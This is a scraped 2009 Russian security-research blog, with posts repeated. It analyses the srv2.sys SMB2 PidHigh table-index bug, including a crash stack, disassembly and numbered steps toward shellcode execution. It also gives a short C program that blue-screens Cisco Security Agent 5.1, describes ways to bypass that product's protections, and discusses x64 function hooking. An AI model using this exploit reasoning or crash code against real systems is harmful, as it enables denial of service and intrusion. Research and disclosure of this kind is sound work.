8bba77fc 8271cb85 00000003 00003ff8 e04d8d0c nt!DbgBreakPointWithStatus+0x4 8bba7bc0 826b3d85 00000050 e04d8d0c 00000008 nt!KeBugCheckEx+0xc7b 8bba7c4c 8267b5c8 00000008 e04d8d0c 00000000 nt!KeSetTimerEx+0x1ca 8bba7cd4 9055cc75 83c7a008 90556700 83c7a008 nt!Kei386EoiHelper+0x27c0 8bba7cec 9055c684 83c7a008 0000085b 83c7a008 srv2!Smb2ExecuteProviderCallback+0xd8 8bba7d08 905582e0 85436fd8 00000000 853d5450 srv2!SrvProcessPacket+0xba 8bba7d50 8283abc3 850f1d40 b28fe0f2 00000000 srv2!SrvProcWorkerThread+0x2db 8bba7d90 826fde29 90558005 850f1d40 00000000 nt!RtlDeleteAtomFromAtomTable+0xebe 00000000 00000000 00000000 00000000 00000000 nt!ExReinitializeResourceLite+0x42f
Суть уязвимости заключается в отсутствии валидации значения поля PidHigh, которое, обычно, нулевое для запросов подобного типа. Фрагмент кода бажной функции srv2!Smb2ExecuteProviderCallback:
srv2!Smb2ExecuteProviderCallback+0xbf: ; edi указывает на начало SMB пакета 9055cc5c 0fb7470c movzx eax,word ptr [edi+0Ch] ; в eax занесено значение поля PidHigh, которое ; используется в качестве индекса для массива ; адресов функций srv2!ExecuteRoutines 9055cc60 8b048540715590 mov eax,dword ptr srv2!ExecuteRoutines (90557140)[eax*4] ; (!!!) граница значения для индекса не проверяется ; в eax занесён адрес функции-обработчика SMB-метода 9055cc67 56 push esi 9055cc68 85c0 test eax,eax 9055cc6a 7507 jne srv2!Smb2ExecuteProviderCallback+0xd6 (9055cc73) 9055cc6c e871fd0000 call srv2!Smb2ExecuteNotImplemented (9056c9e2) 9055cc71 eb02 jmp srv2!Smb2ExecuteProviderCallback+0xd8 (9055cc75) 9055cc73 ffd0 call eax
Таким образом, для передачи управления на шеллкод должны быть выполнены следующие условия:
1. Атакующий должен найти фрагмент кода (желательно, в том же srv2.sys) вида lea reg,[edi+some_offset]/call reg, где some_offset - смещение шеллкода в SMB запросе.
2. В промапленном в память модуле (опять же, желательно что бы это был именно srv2.sys) необходимо отыскать указатель на найденные в п.1 инструкции.
3. Из адресса указателя вычислить index по след. формуле: index = (pointer - srv2!ExecuteRoutines) / 4. Причём, адрес указателя должен быть кратный 4-м и больше адреса таблицы srv2!ExecuteRoutines, а получившийся в итоге индекс меньше FFFFh.
4. Вычисленный в п.3 индекс нужно заюзаь в качестве значения поля PidHigh.
За несколько часов работы удовлетворить все эти условия мне так и не удалось. Это, само собой, не является истиной в последней инстанции, но моё имхо - нового конфикера не будет :)
Link | Leave a comment | Add to Memories | Tell a Friend
ага...
Sep. 7th, 2009 | 11:02 am
К этому посту.
А ещё Cisco Security Agent 5.1 страдает детской болезнью кривых обработчиков перехватов и легко валится в BSoD (хоть из-под гостевой учётки) пиведенным ниже кодом.
Был более высокого мнения о качестве продуктов Cisco :)
Test app: http://rapidshare.com/files/276697375/c sa_hook_bsod.zip.html
Call stack:
А ещё Cisco Security Agent 5.1 страдает детской болезнью кривых обработчиков перехватов и легко валится в BSoD (хоть из-под гостевой учётки) пиведенным ниже кодом.
int _tmain(int argc, _TCHAR* argv[])
{
#define GET_NATIVE(_proc_)GetProcAddress(GetModuleHandle("ntdll.dll"), (_proc_))
f_NtCreateKey NtCreateKey = (f_NtCreateKey)GET_NATIVE("NtCreateKey");
if (NtCreateKey)
{
printf("ntdll!NtCreateKey() at 0x%.8x\n", NtCreateKey);
NTSTATUS ns = NtCreateKey(
(PHANDLE)0xfffffff0,
KEY_ALL_ACCESS,
(POBJECT_ATTRIBUTES)0xfffffff0,
0,
NULL,
0,
NULL
);
printf("ntdll!NtCreateKey() returns status 0x%.8x\n", ns);
}
else
{
printf("Error while lookuping ntdll!NtCreateKey()\n");
}
return 0;
}
Был более высокого мнения о качестве продуктов Cisco :)
Test app: http://rapidshare.com/files/276697375/c
Call stack:
f58e2818 808253e7 00000003 fffffff4 00000000 nt!RtlpBreakWithStatusInstruction f58e2864 808262bc 00000003 c07ffff8 8201dbd0 nt!KiBugCheckDebugBreak+0x19 f58e2bfc 80826659 00000050 fffffff4 00000000 nt!KeBugCheck2+0x5b2 f58e2c1c 8085a01b 00000050 fffffff4 00000000 nt!KeBugCheckEx+0x1b f58e2c90 80885ed0 00000000 fffffff4 00000000 nt!MmAccessFault+0xa91 f58e2c90 f74f97cb 00000000 fffffff4 00000000 nt!KiTrap0E+0xd8 WARNING: Stack unwind information not available. Following frames may be wrong. f58e2d40 80882fa8 fffffff0 000f003f fffffff0 csareg+0x27cb f58e2d40 7c82ed54 fffffff0 000f003f fffffff0 nt!KiFastCallEntry+0xf8 0012fd94 7c821244 004197a0 fffffff0 000f003f ntdll!KiFastSystemCallRet 0012fd98 004197a0 fffffff0 000f003f fffffff0 ntdll!ZwCreateKey+0xc 0012fedc 00411c00 00000001 00310bc8 00310c40 csa_hook_bsod!main+0xc0 [x:\dev\fw_tests\csa_hook_bsod\csa_hook_bsod.cpp @ 104] 0012ffc0 77e523cd 00000000 00000000 7ffd9000 csa_hook_bsod!mainCRTStartup+0x170 [f:\vs70builds\3077\vc\crtbld\crt\src\crt0.c @ 259] 0012fff0 00000000 0041132f 00000000 78746341 kernel32!BaseProcessStart+0x23
Link | Leave a comment {4} | Add to Memories | Tell a Friend
Cisco Security Agent
Sep. 7th, 2009 | 09:31 am

Я очень давно хотел поковырять на предмет безопасности какую-нибуть крутую корпоративную проактивку. Нет, не продукт от антивирусных вендоров (ихние корпоративные решения технологически не отличаются от пользовательско-десктопных продуктов), а что-то более интересное.
И вот, в мои руки попал сабж версии 5.1 (Спасибо
С одной строны, CSA слил несколько простых ликтестов:
http://rapidshare.com/files/276673428/b
- замена beep.sys своим драйвером через pending copy средствами session manager-а.
http://rapidshare.com/files/276672710/b
- маскировка под доверенный процесс спуффингом NtCreateFile на этапе его создания (с последующей установкой драйвера).
Первую дыру хоть и можно заткнуть редактированием политик, но вторая всегда будет существовать бай дизайн.
С другой - CSA привлекает своей гибкостью, большим кол-вом настроек и удачной архитектурой:
1. Все политики и рулесы хранятся в MsSQL-ной базе данных, которая может быть расположена как на локальном так и на удалённом хосте (удобно для резервного копирования и централизированного управления).
2. Конфигурирование осуществляется через веб-интерфейс (удобно для удалённого администрирования CSA на пользовательских машинах).
3. Встроенные политики довольно продуманные: проактивка показывает алерты редко и исключительно по делу (в отличии от продуктов ав-вендоров, с которыми по этому пункту полный пиздец).
Выводы:
- с дефолтными политиками Cisco Security Agent не может обеспечить приемлимый уровень безопасности.
- редактированием и обновлением политик должен заниматься специально обученный человек.
- специально обученный человек должен быть не каким-то там сисадмином, а вирусным аналитиком, достаточно хорошо разбирающимся в архитектуре и особенностях работы NT, а так же, пребывать в курсе всех последних тенденций малваростроения.
Здесь лог RkU с безумным количеством ядерных и user mode перехватов. На очереди глубокий реверс :)
Link | Leave a comment {4} | Add to Memories | Tell a Friend
сейчас как поплачусь
Aug. 25th, 2009 | 08:42 pm
Я вот уже с полгода активно пишу под 64 бита (не Itanium, а AMD64/EM64T, разумеется). Пишу как всякие движечки/библиотечки на заказ, так и тулзы для своих, исследовательских целей. И знаете, этот факт привносит много мелкого но неприятного геммороя в решение, казалось бы, повседневных задач, по сравнению с оным под x86.
Возьмём хотя бы REX преффикс. Есть такой байт формата 0100WR0B в AMD64, который находится между обычным преффиксом и, собственно, опкодом. Бит W, будучи установленным в 1, преобразует инструкцию вида REX LEA R64,VAL чудесным образом: помещаемое в регистр значение VAL, в данном случае, в сгенерированной компилятором инструкции будет не присутствовать в машинном коде непосредственно, а вычисляться динамически, по оффсету относительно адрреса самой инструкции LEA. Короче говоря:
будет выглядеть так:
Вычисляется по смещению - и хрен бы с ним, подумает недалёкий читатель, однако, преффикс REX весьма часто встречается в коде, генерируемом разнообразными компилерами (инструкция меньше места занимает, типа), а здесь и начинается самое интересное.
Вот, бывало, хочешь ты поставить перехват на код какой-то функции, пропатчив её джампом и сохранив старый код в виде callgate, для вызова оригинальной функции (обычный сплайсинг, короче) - но хуй, в начале функции какраз-таки и попадается подобный LEA, который будучи перенесённым в callgate ну никак не сможет правильно работать в том случае, если разница между адресами функции и коллгейта будет больше чем FFFFFFFFh (естественно, операнд в инструкции же 32-х разрядным числом задаётся).
Для написания парсера, который будет преобразовывать такие инструкции к нормальному виду, я пока морально не созрел (кроме REX ведь есть куча другой фигни, работающей аналогичным образом, Direct Memory-Offset MOVs, for example), вот и мучаюсь всякими черезжопными решениями, включая (о боже!) IAT-перехваты.
Да, ещё мне сегодя пришла в голову идея написания самого стабильного и правильного софтварного эмулятора CPU! В интелловских манах ведь, для каждой инструкции есть псевдокод, поясняющий принцип её работы. Например, для sidt вот-такой:
Вобщем, суть:
1. Скачиваем интелловские маны в PDF.
2. Пишем парсер-транслятор, который будет выдирать из них псевдокод для каждой инструкции, и преобразовывать его в С-шный исходник.
3. ...
4. PROFFIT!
Возьмём хотя бы REX преффикс. Есть такой байт формата 0100WR0B в AMD64, который находится между обычным преффиксом и, собственно, опкодом. Бит W, будучи установленным в 1, преобразует инструкцию вида REX LEA R64,VAL чудесным образом: помещаемое в регистр значение VAL, в данном случае, в сгенерированной компилятором инструкции будет не присутствовать в машинном коде непосредственно, а вычисляться динамически, по оффсету относительно адрреса самой инструкции LEA. Короче говоря:
.text:000007FF7E9C167A lea rcx,unk_7FF7E9DB618
будет выглядеть так:
.text:000007FF7E9C167A db 48h .text:000007FF7E9C167B db 8Dh .text:000007FF7E9C167C db 0Dh .text:000007FF7E9C167D db 97h .text:000007FF7E9C167E db 9Fh .text:000007FF7E9C167F db 01h .text:000007FF7E9C1680 db 00h
Вычисляется по смещению - и хрен бы с ним, подумает недалёкий читатель, однако, преффикс REX весьма часто встречается в коде, генерируемом разнообразными компилерами (инструкция меньше места занимает, типа), а здесь и начинается самое интересное.
Вот, бывало, хочешь ты поставить перехват на код какой-то функции, пропатчив её джампом и сохранив старый код в виде callgate, для вызова оригинальной функции (обычный сплайсинг, короче) - но хуй, в начале функции какраз-таки и попадается подобный LEA, который будучи перенесённым в callgate ну никак не сможет правильно работать в том случае, если разница между адресами функции и коллгейта будет больше чем FFFFFFFFh (естественно, операнд в инструкции же 32-х разрядным числом задаётся).
Для написания парсера, который будет преобразовывать такие инструкции к нормальному виду, я пока морально не созрел (кроме REX ведь есть куча другой фигни, работающей аналогичным образом, Direct Memory-Offset MOVs, for example), вот и мучаюсь всякими черезжопными решениями, включая (о боже!) IAT-перехваты.
Да, ещё мне сегодя пришла в голову идея написания самого стабильного и правильного софтварного эмулятора CPU! В интелловских манах ведь, для каждой инструкции есть псевдокод, поясняющий принцип её работы. Например, для sidt вот-такой:
IF instruction is SIDT
THEN
IF OperandSize = 16
THEN
DEST[0:15] <- IDTR(Limit);
DEST[16:39] <- IDTR(Base); (* 24 bits of base address stored; *)
DEST[40:47] <- 0;
ELSE IF (32-bit Operand Size)
DEST[0:15] <- IDTR(Limit);
DEST[16:47] <- IDTR(Base); FI; (* Full 32-bit base address stored *)
ELSE (* 64-bit Operand Size *)
DEST[0:15] <- IDTR(Limit);
DEST[16:79] <- IDTR(Base); (* Full 64-bit base address stored *)
FI;
FI;
Вобщем, суть:
1. Скачиваем интелловские маны в PDF.
2. Пишем парсер-транслятор, который будет выдирать из них псевдокод для каждой инструкции, и преобразовывать его в С-шный исходник.
3. ...
4. PROFFIT!
Link | Leave a comment {8} | Add to Memories | Tell a Friend
no title
Aug. 11th, 2009 | 03:34 pm
В процессе чтения /c/ мне подумалась мысль относительно некоторого порядка вещей в software industry, который, вобщем-то, сложно не заметить. Эти ваши интернеты, на сегодняшний день, кишат просто тьмой программеров, которые усиленно пропагандируют и продвигают в широкие массы джаву и прочие дотнеты. Причём я не только имиджборды имею в виду, скопление таких личностей наблюдается повсеместно: достаточно почитать любое сообщество типа хабра, или послушать какой-нибуть околотехнический подкаст.
Собственно, сами языки/платформы о котрых идёт речь тяжело назвать новомодными, однако, чем дальше - тем больший ажиотаж вокруг них происходит. Происходит - и хрен бы с ним: интерфейсы, объектные переменные, кроссплатформенность (в случае с Java) и прочие ништяки это как бы хорошо и правильно, да и с развитием технологии численность квалифицированных разработчиков, её использующих, растёт. Но, собственно, наблюдение, про которое я хотел рассказать, заключается в том, что количество трепливых программистов какое-то непропорционально большое относительно количества хороших, годных программ написанных на Java и .NET.
Может вы приведёте примеры таких хороших common-usable программ (мультимедиа, общение в сети, итд.), которые были бы заметно лучше своих аналогов, написанных на C/C++/Delphi?
Собственно, сами языки/платформы о котрых идёт речь тяжело назвать новомодными, однако, чем дальше - тем больший ажиотаж вокруг них происходит. Происходит - и хрен бы с ним: интерфейсы, объектные переменные, кроссплатформенность (в случае с Java) и прочие ништяки это как бы хорошо и правильно, да и с развитием технологии численность квалифицированных разработчиков, её использующих, растёт. Но, собственно, наблюдение, про которое я хотел рассказать, заключается в том, что количество трепливых программистов какое-то непропорционально большое относительно количества хороших, годных программ написанных на Java и .NET.
Может вы приведёте примеры таких хороших common-usable программ (мультимедиа, общение в сети, итд.), которые были бы заметно лучше своих аналогов, написанных на C/C++/Delphi?
Link | Leave a comment {11} | Add to Memories | Tell a Friend
Стафф.
Aug. 6th, 2009 | 07:35 am
Статья про уязвимости в драйверах:
Многие программы используют драйвера режима ядра как «окно» для доступа в привилегированный режим – Ring 0. В первую очередь это касается защитного ПО: антивирусов, фаерволов, HIPS и программ класса Internet Security. Помимо основных функций, многие драйвера оснащены механизмами взаимодействия с другими компонентами ПО, работающими в режиме пользователя. Неаккуратная реализация такого механизма взаимодействия ставит под угрозу безопасность и стабильность не только данного ПО, но и всей операционной системы.
http://esagelab.ru/files/DriverBugs.p df
IOCTL Fuzzer (приложение к статье про баги в драйверах):
Программа IOCTL Fuzzer предназначена для автоматизации выявления уязвимостей в драйверах при обработке IRP запросов.
Драйвер фаззера перехватывает функцию ядра NtDeviceIoControlFile, тем самым получая возможность контролировать IRP-запросы от любого приложения к драйверам режима ядра. В процессе работы фаззер подменяет исходный IRP-запрос к заданному драйверу, оставляя неизменными размеры буферов и I/O Control Code, но заменяя исходные входные данные на данные, сгенерированные псевдослучайным образом.
Помимо основного функционала, в программе предусмотрен режим мониторинга. При этом в лог, закрепленный за консолью и/или файлом, выводится общая информация об IRP-запросах или полный дамп данных в шестнадцатеричном формате.
http://www.esagelab.com/files/ioctl_fuz zer-1.1.zip
http://code.google.com/p/ioctlfuzze r/
Rootkit.Win32.TDSS remover:
Утилита Rootkit.Win32.TDSS remover обеспечивает полуавтоматическую чистку системы от руткита TDSS (также известного как Tidserv, TDSServ и Alureon). Программа сканирует систему на предмет наличия скрытых файлов, драйверов и ключей реестра, и позволяет уничтожить найденные вредоносные объекты одним нажатием кнопки.
Замечание: Rootkit.Win32.TDSS remover - универсальный антируткит по своей архитектуре. В процессе сканирования системы утилитой могут быть обнаружены другие руткиты и скрытые объекты.
http://www.esagelab.com/files/tdss_remo ver_latest.rar
Периодически мне попадается на глаза старый код, который я выкладывал в паблик год-два-три назад, и мне сейчас просто стыдно за ту кривую хуйню, которой этот код по факту является.
Многие программы используют драйвера режима ядра как «окно» для доступа в привилегированный режим – Ring 0. В первую очередь это касается защитного ПО: антивирусов, фаерволов, HIPS и программ класса Internet Security. Помимо основных функций, многие драйвера оснащены механизмами взаимодействия с другими компонентами ПО, работающими в режиме пользователя. Неаккуратная реализация такого механизма взаимодействия ставит под угрозу безопасность и стабильность не только данного ПО, но и всей операционной системы.
http://esagelab.ru/files/DriverBugs.p
IOCTL Fuzzer (приложение к статье про баги в драйверах):
Программа IOCTL Fuzzer предназначена для автоматизации выявления уязвимостей в драйверах при обработке IRP запросов.
Драйвер фаззера перехватывает функцию ядра NtDeviceIoControlFile, тем самым получая возможность контролировать IRP-запросы от любого приложения к драйверам режима ядра. В процессе работы фаззер подменяет исходный IRP-запрос к заданному драйверу, оставляя неизменными размеры буферов и I/O Control Code, но заменяя исходные входные данные на данные, сгенерированные псевдослучайным образом.
Помимо основного функционала, в программе предусмотрен режим мониторинга. При этом в лог, закрепленный за консолью и/или файлом, выводится общая информация об IRP-запросах или полный дамп данных в шестнадцатеричном формате.
http://www.esagelab.com/files/ioctl_fuz
http://code.google.com/p/ioctlfuzze
Rootkit.Win32.TDSS remover:
Утилита Rootkit.Win32.TDSS remover обеспечивает полуавтоматическую чистку системы от руткита TDSS (также известного как Tidserv, TDSServ и Alureon). Программа сканирует систему на предмет наличия скрытых файлов, драйверов и ключей реестра, и позволяет уничтожить найденные вредоносные объекты одним нажатием кнопки.
Замечание: Rootkit.Win32.TDSS remover - универсальный антируткит по своей архитектуре. В процессе сканирования системы утилитой могут быть обнаружены другие руткиты и скрытые объекты.
http://www.esagelab.com/files/tdss_remo
Периодически мне попадается на глаза старый код, который я выкладывал в паблик год-два-три назад, и мне сейчас просто стыдно за ту кривую хуйню, которой этот код по факту является.
